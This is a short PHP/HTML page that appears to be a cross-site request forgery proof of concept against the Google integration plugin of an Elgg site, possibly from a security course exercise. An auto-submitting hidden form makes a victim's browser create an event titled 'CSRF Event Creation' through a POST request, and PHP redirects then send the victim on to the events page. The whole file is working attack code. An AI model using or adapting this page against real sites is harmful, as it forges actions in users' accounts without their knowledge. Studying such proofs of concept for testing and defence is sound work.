<?php
if (isset($_GET['url'])) {
    header('Location: http://mail.com/elgg/mod/google_integration/events/');
}
?>
<form action="http://mail.com/elgg/action/google_integration/add" id="idForm" method="POST">
    <input type="text" name="ename" required="true" value="CSRF Event Creation">
    <input type="date" name="esdate" required="true" value="2014-05-01">
    <input type="date" name="eedate" required="true" value="2014-05-10">
    <input type="time" name="estime" required="true" value="12:01:00">
    <input type="time" name="eetime" required="true" value="12:01:00">
    <input type="text" name="eloc" required="true" value="NUS SoC">
    <textarea name="etext" required="true">Hacking hoho</textarea>
    <input type="checkbox" name="ck" checked>
</form>
<script>
document.getElementById('idForm').submit();
</script>
<?php
header('Location: http://mail.com/elgg/mod/google_integration/events/');
?>
